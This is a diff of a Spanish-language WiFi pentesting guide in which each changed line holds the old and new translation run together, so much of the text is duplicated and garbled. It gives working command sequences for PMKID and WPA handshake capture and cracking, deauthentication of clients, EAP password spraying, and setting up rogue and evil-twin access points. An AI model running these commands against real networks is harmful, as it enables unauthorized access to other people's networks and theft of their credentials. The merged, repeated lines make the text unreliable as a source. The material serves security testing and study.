### PMKID ### PMKID
En 2018, **hashcat** [reveló](https://hashcat.net/forum/thread-7717.html) un nuevo método de ataque, único porque solo necesita **un solo paquete** y no requiere que ningún cliente esté conectado al AP objetivo, solo la interacción entre el atacante y el AP. En 2018, **hashcat** [reveló](https://hashcat.net/forum/thread-7717.html) un nuevo método de ataque, único porque solo necesita **un solo paquete** y no requiere que ningún cliente esté conectado al AP objetivo, solo interacción entre el atacante y el AP.
Muchos enrutadores modernos agregan un **campo opcional** al **primer marco EAPOL** durante la asociación, conocido como `Red de Seguridad Robusta`. Esto incluye el `PMKID`. Muchos enrutadores modernos añaden un **campo opcional** al **primer marco EAPOL** durante la asociación, conocido como `Robust Security Network`. Esto incluye el `PMKID`.
Como explica la publicación original, el **PMKID** se crea utilizando datos conocidos: Como explica la publicación original, el **PMKID** se crea utilizando datos conocidos:
```bash ```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
``` ```
Dado que el "Nombre PMK" es constante, conocemos el BSSID del AP y de la estación, y el `PMK` es idéntico al de un apretón de manos completo de 4 vías, **hashcat** puede usar esta información para descifrar la PSK y recuperar la frase de paso! Dado que el "Nombre PMK" es constante, conocemos el BSSID del AP y de la estación, y el `PMK` es idéntico al de un apretón de manos completo de 4 vías, **hashcat** puede usar esta información para descifrar el PSK y recuperar la frase de paso.
Para **recopilar** esta información y **realizar** un ataque de fuerza bruta localmente a la contraseña puedes hacer: Para **reunir** esta información y **fuerza bruta** localmente la contraseña, puedes hacer:
```bash ```bash
airmon-ng check kill airmon-ng check kill
airmon-ng start wlan0 airmon-ng start wlan0
@ -321,15 +322,15 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
``` ```
Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_ **/tmp/attack.pcap**\_\ Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_ **/tmp/attack.pcap**\_\
Ahora, convierte la captura al formato de **hashcat/john** y descífrala: Ahora, convierte la captura al formato de **hashcat/john** y crackéalo:
```bash ```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
``` ```
Por favor, ten en cuenta que el formato correcto de un hash contiene **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Si el tuyo **solo** contiene **3 partes**, entonces es **inválido** (la captura PMKID no fue válida). Por favor, tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida).
Ten en cuenta que `hcxdumptool` **también captura los handshakes** (algo así aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puedes **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx`. Tenga en cuenta que `hcxdumptool` **también captura handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx`
```bash ```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -337,32 +338,32 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
``` ```
_He notado que algunas capturas de apretones realizadas con esta herramienta no se pudieron descifrar incluso sabiendo la contraseña correcta. Recomendaría capturar apretones también de forma tradicional si es posible, o capturar varios de ellos usando esta herramienta._ _He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
### Captura de apretón de manos ### Captura de handshakes
Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **apretón de manos** e intentando **descifrar** la contraseña **sin conexión**. Este proceso implica monitorear la comunicación de una red específica y **BSSID** en un **canal** particular. Aquí tienes una guía simplificada: Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **handshake** y tratando de **crackear** la contraseña **offline**. Este proceso implica monitorear la comunicación de una red específica y **BSSID** en un **canal** particular. Aquí hay una guía simplificada:
1. Identifica el **BSSID**, el **canal** y un **cliente conectado** de la red objetivo. 1. Identifica el **BSSID**, **canal** y un **cliente conectado** de la red objetivo.
2. Usa `airodump-ng` para monitorear el tráfico de red en el canal y BSSID especificados, con la esperanza de capturar un apretón de manos. El comando se verá así: 2. Usa `airodump-ng` para monitorear el tráfico de la red en el canal y BSSID especificados, con la esperanza de capturar un handshake. El comando se verá así:
```bash ```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
``` ```
3. Para aumentar la probabilidad de capturar un handshake, desconecta momentáneamente al cliente de la red para forzar una nueva autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente: 3. Para aumentar la probabilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente:
```bash ```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
``` ```
_Nota que una vez que el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._ _Note que, como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente._
Una vez que en `airodump-ng` aparezca información de un handshake, significa que el handshake fue capturado y puedes dejar de escuchar: Una vez que en `airodump-ng` aparece información de handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar:
![](<../../.gitbook/assets/image (172) (1).png>) ![](<../../.gitbook/assets/image (172) (1).png>)
Una vez que el handshake es capturado, puedes **descifrarlo** con `aircrack-ng`: Una vez que el handshake es capturado, puedes **crackearlo** con `aircrack-ng`:
``` ```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
``` ```
### Verificar si hay handshake en el archivo ### Verificar si el apretón de manos está en el archivo
**aircrack** **aircrack**
```bash ```bash
@ -376,68 +377,68 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
``` ```
cowpatty -r psk-01.cap -s "ESSID" -f - cowpatty -r psk-01.cap -s "ESSID" -f -
``` ```
_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes que el completado, no detectará el válido._ _Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido._
**pyrit** **pyrit**
```bash ```bash
apt-get install pyrit #Not working for newer versions of kali apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze pyrit -r psk-01.cap analyze
``` ```
## **WPA Empresa (MGT)** ## **WPA Enterprise (MGT)**
En **configuraciones de WiFi empresarial, encontrarás varios métodos de autenticación**, cada uno proporcionando diferentes niveles de seguridad y características de gestión. Cuando utilizas herramientas como `airodump-ng` para inspeccionar el tráfico de red, es posible que notes identificadores para estos tipos de autenticación. Algunos métodos comunes incluyen: En **configuraciones de WiFi empresarial, encontrarás varios métodos de autenticación**, cada uno proporcionando diferentes niveles de seguridad y características de gestión. Cuando uses herramientas como `airodump-ng` para inspeccionar el tráfico de red, podrías notar identificadores para estos tipos de autenticación. Algunos métodos comunes incluyen:
``` ```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
``` ```
1. **EAP-GTC (Generic Token Card)**: 1. **EAP-GTC (Generic Token Card)**:
* Este método admite tokens de hardware y contraseñas de un solo uso dentro de EAP-PEAP. A diferencia de MSCHAPv2, no utiliza un desafío entre pares y envía contraseñas en texto plano al punto de acceso, lo que representa un riesgo de ataques de degradación. * Este método admite tokens de hardware y contraseñas de un solo uso dentro de EAP-PEAP. A diferencia de MSCHAPv2, no utiliza un desafío entre pares y envía contraseñas en texto claro al punto de acceso, lo que plantea un riesgo para ataques de degradación.
2. **EAP-MD5 (Message Digest 5)**: 2. **EAP-MD5 (Message Digest 5)**:
* Implica enviar el hash MD5 de la contraseña desde el cliente. **No se recomienda** debido a la vulnerabilidad a ataques de diccionario, falta de autenticación del servidor e incapacidad para generar claves WEP específicas de sesión. * Implica enviar el hash MD5 de la contraseña desde el cliente. **No se recomienda** debido a la vulnerabilidad a ataques de diccionario, la falta de autenticación del servidor y la incapacidad de generar claves WEP específicas de la sesión.
3. **EAP-TLS (Transport Layer Security)**: 3. **EAP-TLS (Transport Layer Security)**:
* Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en usuario y sesión para asegurar las comunicaciones. * Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones.
4. **EAP-TTLS (Tunneled Transport Layer Security)**: 4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* Proporciona autenticación mutua a través de un túnel cifrado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales. * Proporciona autenticación mutua a través de un túnel encriptado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
5. **PEAP (Protected Extensible Authentication Protocol)**: 5. **PEAP (Protected Extensible Authentication Protocol)**:
* Funciona de manera similar a EAP creando un túnel TLS para comunicaciones protegidas. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel. * Funciona de manera similar a EAP al crear un túnel TLS para comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel.
* **PEAP-MSCHAPv2**: A menudo referido como PEAP, combina el mecanismo de desafío/respuesta vulnerable MSCHAPv2 con un túnel TLS protector. * **PEAP-MSCHAPv2**: A menudo se refiere a PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector.
* **PEAP-EAP-TLS (o PEAP-TLS)**: Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad. * **PEAP-EAP-TLS (o PEAP-TLS)**: Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad.
Puedes encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). Puedes encontrar más información sobre estos métodos de autenticación [aquí](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) y [aquí](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Captura de Nombre de Usuario ### Captura de Nombre de Usuario
Al leer [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP**, los **"mensajes de Identidad"** deben ser **compatibles**, y el **nombre de usuario** se enviará en **claro** en los **mensajes de "Respuesta de Identidad"**. Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP**, los **mensajes de "Identidad"** deben ser **soportados**, y el **nombre de usuario** se enviará en **claro** en los **mensajes de "Respuesta de Identidad"**.
Incluso al usar uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` en un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\ Incluso usando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
Dentro del paquete de "**Respuesta de Identidad**", aparecerá el **nombre de usuario** del cliente. Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente.
![](<../../.gitbook/assets/image (850).png>) ![](<../../.gitbook/assets/image (850).png>)
### Identidades Anónimas ### Identidades Anónimas
El ocultamiento de identidad es compatible tanto con EAP-PEAP como con EAP-TTLS. En el contexto de una red WiFi, una solicitud de EAP-Identidad es típicamente iniciada por el punto de acceso (AP) durante el proceso de asociación. Para garantizar la protección del anonimato del usuario, la respuesta del cliente de EAP en el dispositivo del usuario contiene solo la información esencial requerida para que el servidor RADIUS inicial procese la solicitud. Este concepto se ilustra a través de los siguientes escenarios: El ocultamiento de identidad es soportado tanto por EAP-PEAP como por EAP-TTLS. En el contexto de una red WiFi, una solicitud de EAP-Identidad es típicamente iniciada por el punto de acceso (AP) durante el proceso de asociación. Para asegurar la protección de la anonimidad del usuario, la respuesta del cliente EAP en el dispositivo del usuario contiene solo la información esencial requerida para que el servidor RADIUS inicial procese la solicitud. Este concepto se ilustra a través de los siguientes escenarios:
* EAP-Identidad = anónimo * EAP-Identidad = anónimo
* En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) es manejado localmente o delegado a un servidor RADIUS remoto (doméstico). * En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) se maneja localmente o se delega a un servidor RADIUS remoto (de origen).
* EAP-Identidad = anónimo@realm\_x * EAP-Identidad = anónimo@realm\_x
* En esta situación, los usuarios de diferentes dominios ocultan sus identidades mientras indican sus respectivos dominios. Esto permite que el servidor RADIUS inicial reenvíe las solicitudes de EAP-PEAP o EAP-TTLS a servidores RADIUS en sus dominios domésticos, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS. * En esta situación, los usuarios de diferentes dominios ocultan sus identidades mientras indican sus respectivos dominios. Esto permite que el servidor RADIUS inicial actúe como proxy para las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.
* Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios dominios. * Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios dominios.
En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel cifrado. Este enfoque evita efectivamente la revelación de la identidad real del usuario a cualquier persona que esté interceptando el tráfico 802.11. En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11.
EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo de Nombre de Usuario y ya sea una contraseña o un atributo de Contraseña CHAP en el mensaje TLS inicial enviado después del establecimiento del túnel. EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo User-Name y ya sea un atributo Password o CHAP-Password en el mensaje TLS inicial enviado después del establecimiento del túnel.
Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se haya establecido el túnel TLS. La verdadera identidad puede representarse como usuario@dominio o simplemente usuario. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS doméstico del usuario. Esta nueva solicitud RADIUS omite la capa de protocolo PEAP o TTLS. En casos donde el método de autenticación protegido es EAP, los mensajes EAP internos se transmiten al servidor RADIUS doméstico sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo de Nombre de Usuario del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el Nombre de Usuario anónimo del mensaje RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el Nombre de Usuario y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el Nombre de Usuario anónimo y los atributos de Mensaje EAP TTLS encontrados en la solicitud RADIUS entrante. Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS del hogar del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS del hogar sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante.
Para más información consulta [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm) Para más información consulta [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
### EAP-Bruteforce (password spray) ### EAP-Bruteforce (spray de contraseñas)
Si se espera que el cliente use un **nombre de usuario y contraseña** (nota que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** e intentar **bruteforce** el acceso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** Si se espera que el cliente use un **nombre de usuario y contraseña** (ten en cuenta que **EAP-TLS no será válido** en este caso), entonces podrías intentar obtener una **lista** de **nombres de usuario** (ver la siguiente parte) y **contraseñas** y tratar de **forzar** el acceso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash ```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
``` ```
También puedes realizar este ataque utilizando `eaphammer`: También podrías realizar este ataque utilizando `eaphammer`:
```bash ```bash
./eaphammer --eap-spray \ ./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -449,30 +450,30 @@ También puedes realizar este ataque utilizando `eaphammer`:
### Selección de red y roaming ### Selección de red y roaming
* El protocolo 802.11 define cómo una estación se une a un Conjunto de Servicios Extendido (ESS) pero no especifica los criterios para seleccionar un ESS o un punto de acceso (AP) dentro de él. * El protocolo 802.11 define cómo una estación se une a un Conjunto de Servicio Ampliado (ESS), pero no especifica los criterios para seleccionar un ESS o un punto de acceso (AP) dentro de él.
* Las estaciones pueden moverse entre APs que comparten el mismo ESSID, manteniendo la conectividad en un edificio o área. * Las estaciones pueden moverse entre APs que comparten el mismo ESSID, manteniendo la conectividad a través de un edificio o área.
* El protocolo requiere autenticación de la estación al ESS pero no exige autenticación del AP a la estación. * El protocolo requiere autenticación de la estación al ESS, pero no exige autenticación del AP a la estación.
### Listas de Redes Preferidas (PNL) ### Listas de redes preferidas (PNL)
* Las estaciones almacenan el ESSID de cada red inalámbrica a la que se conectan en su Lista de Redes Preferidas (PNL), junto con detalles de configuración específicos de la red. * Las estaciones almacenan el ESSID de cada red inalámbrica a la que se conectan en su Lista de Redes Preferidas (PNL), junto con detalles de configuración específicos de la red.
* La PNL se utiliza para conectarse automáticamente a redes conocidas, mejorando la experiencia del usuario al agilizar el proceso de conexión. * La PNL se utiliza para conectarse automáticamente a redes conocidas, mejorando la experiencia del usuario al simplificar el proceso de conexión.
### Escaneo pasivo ### Escaneo pasivo
* Los APs emiten periódicamente tramas de balizas, anunciando su presencia y características, incluido el ESSID del AP a menos que la difusión esté desactivada. * Los APs transmiten periódicamente tramas de baliza, anunciando su presencia y características, incluido el ESSID del AP a menos que la transmisión esté desactivada.
* Durante el escaneo pasivo, las estaciones escuchan las tramas de balizas. Si el ESSID de una baliza coincide con una entrada en la PNL de la estación, la estación puede conectarse automáticamente a ese AP. * Durante el escaneo pasivo, las estaciones escuchan las tramas de baliza. Si el ESSID de una baliza coincide con una entrada en la PNL de la estación, la estación puede conectarse automáticamente a ese AP.
* El conocimiento de la PNL de un dispositivo permite una posible explotación al imitar el ESSID de una red conocida, engañando al dispositivo para que se conecte a un AP falso. * El conocimiento de la PNL de un dispositivo permite una posible explotación al imitar el ESSID de una red conocida, engañando al dispositivo para que se conecte a un AP malicioso.
### Sondeo activo ### Sondeo activo
* El sondeo activo implica que las estaciones envíen solicitudes de sondeo para descubrir APs cercanos y sus características. * El sondeo activo implica que las estaciones envían solicitudes de sondeo para descubrir APs cercanos y sus características.
* Las solicitudes de sondeo dirigidas apuntan a un ESSID específico, ayudando a detectar si una red en particular está dentro del alcance, incluso si es una red oculta. * Las solicitudes de sondeo dirigidas apuntan a un ESSID específico, ayudando a detectar si una red particular está dentro del alcance, incluso si es una red oculta.
* Las solicitudes de sondeo de difusión tienen un campo SSID nulo y se envían a todos los APs cercanos, permitiendo a la estación buscar cualquier red preferida sin revelar el contenido de su PNL. * Las solicitudes de sondeo de difusión tienen un campo SSID nulo y se envían a todos los APs cercanos, permitiendo que la estación verifique cualquier red preferida sin revelar el contenido de su PNL.
## AP simple con redirección a Internet ## AP simple con redirección a Internet
Antes de explicar cómo realizar ataques más complejos, se va a explicar **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** Internet. Antes de explicar cómo realizar ataques más complejos, se explicará **cómo** simplemente **crear** un **AP** y **redirigir** su **tráfico** a una interfaz conectada **a** Internet.
Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes. Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.
@ -480,7 +481,7 @@ Usando `ifconfig -a`, verifica que la interfaz wlan para crear el AP y la interf
```bash ```bash
apt-get install dnsmasq #Manages DHCP and DNS apt-get install dnsmasq #Manages DHCP and DNS
``` ```
Cree el archivo de configuración `/etc/dnsmasq.conf`: Crea el archivo de configuración `/etc/dnsmasq.conf`:
```ini ```ini
interface=wlan0 interface=wlan0
dhcp-authoritative dhcp-authoritative
@ -492,12 +493,12 @@ log-queries
log-dhcp log-dhcp
listen-address=127.0.0.1 listen-address=127.0.0.1
``` ```
Luego **configura las IPs** y las **rutas**: Luego **configura IPs** y **rutas**:
```bash ```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
``` ```
Y luego **inicie** dnsmasq: Y luego **inicia** dnsmasq:
```bash ```bash
dnsmasq -C dnsmasq.conf -d dnsmasq -C dnsmasq.conf -d
``` ```
@ -505,7 +506,7 @@ dnsmasq -C dnsmasq.conf -d
```bash ```bash
apt-get install hostapd apt-get install hostapd
``` ```
Crear un archivo de configuración `hostapd.conf`: Crea un archivo de configuración `hostapd.conf`:
```ini ```ini
interface=wlan0 interface=wlan0
driver=nl80211 driver=nl80211
@ -523,7 +524,7 @@ wpa_group_rekey=86400
ieee80211n=1 ieee80211n=1
wme_enabled=1 wme_enabled=1
``` ```
**Detener procesos molestos**, establecer **modo monitor** y **iniciar hostapd**: **Detener procesos molestos**, configurar **modo monitor** y **iniciar hostapd**:
```bash ```bash
airmon-ng check kill airmon-ng check kill
iwconfig wlan0 mode monitor iwconfig wlan0 mode monitor
@ -538,44 +539,46 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
``` ```
## Evil Twin ## Evil Twin
Un ataque de evil twin explota la forma en que los clientes de WiFi reconocen las redes, dependiendo principalmente del nombre de la red (ESSID) sin requerir que la estación base (punto de acceso) se autentique ante el cliente. Los puntos clave incluyen: Un ataque de gemelo malvado explota la forma en que los clientes de WiFi reconocen las redes, confiando principalmente en el nombre de la red (ESSID) sin requerir que la estación base (punto de acceso) se autentique ante el cliente. Los puntos clave incluyen:
* **Dificultad en la Diferenciación**: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y falsos cuando comparten el mismo ESSID y tipo de cifrado. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura de manera transparente. * **Dificultad en la Diferenciación**: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y maliciosos cuando comparten el mismo ESSID y tipo de encriptación. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura sin problemas.
* **Roaming de Cliente y Manipulación de Conexión**: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESSID. Los atacantes pueden explotar esto atrayendo a un dispositivo para que se desconecte de su estación base actual y se conecte a una falsa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo a través de métodos como paquetes de deautenticación o interferencia. * **Manipulación de Conexión y Roaming del Cliente**: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESS. Los atacantes pueden explotar esto al atraer a un dispositivo a desconectarse de su estación base actual y conectarse a una maliciosa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo a través de métodos como paquetes de desautenticación o interferencia.
* **Desafíos en la Ejecución**: Ejecutar con éxito un ataque de evil twin en entornos con múltiples puntos de acceso bien ubicados puede ser desafiante. Desautenticar un único punto de acceso legítimo a menudo resulta en que el dispositivo se conecte a otro punto de acceso legítimo a menos que el atacante pueda desautenticar todos los puntos de acceso cercanos o colocar estratégicamente el punto de acceso falso. * **Desafíos en la Ejecución**: Ejecutar con éxito un ataque de gemelo malvado en entornos con múltiples puntos de acceso bien ubicados puede ser un desafío. Desautenticar un solo punto de acceso legítimo a menudo resulta en que el dispositivo se conecte a otro punto de acceso legítimo, a menos que el atacante pueda desautenticar todos los puntos de acceso cercanos o colocar estratégicamente el punto de acceso malicioso.
Puedes crear un Open Evil Twin muy básico (sin capacidades para enrutar tráfico a Internet) haciendo:
```bash ```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
``` ```
También puedes crear un Evil Twin usando **eaphammer** (ten en cuenta que para crear evil twins con eaphammer la interfaz **NO debe estar** en modo **monitor**): También podrías crear un Evil Twin usando **eaphammer** (ten en cuenta que para crear evil twins con eaphammer la interfaz **NO DEBE** estar en modo **monitor**):
```bash ```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal ./eaphammer -i wlan0 --essid exampleCorp --captive-portal
``` ```
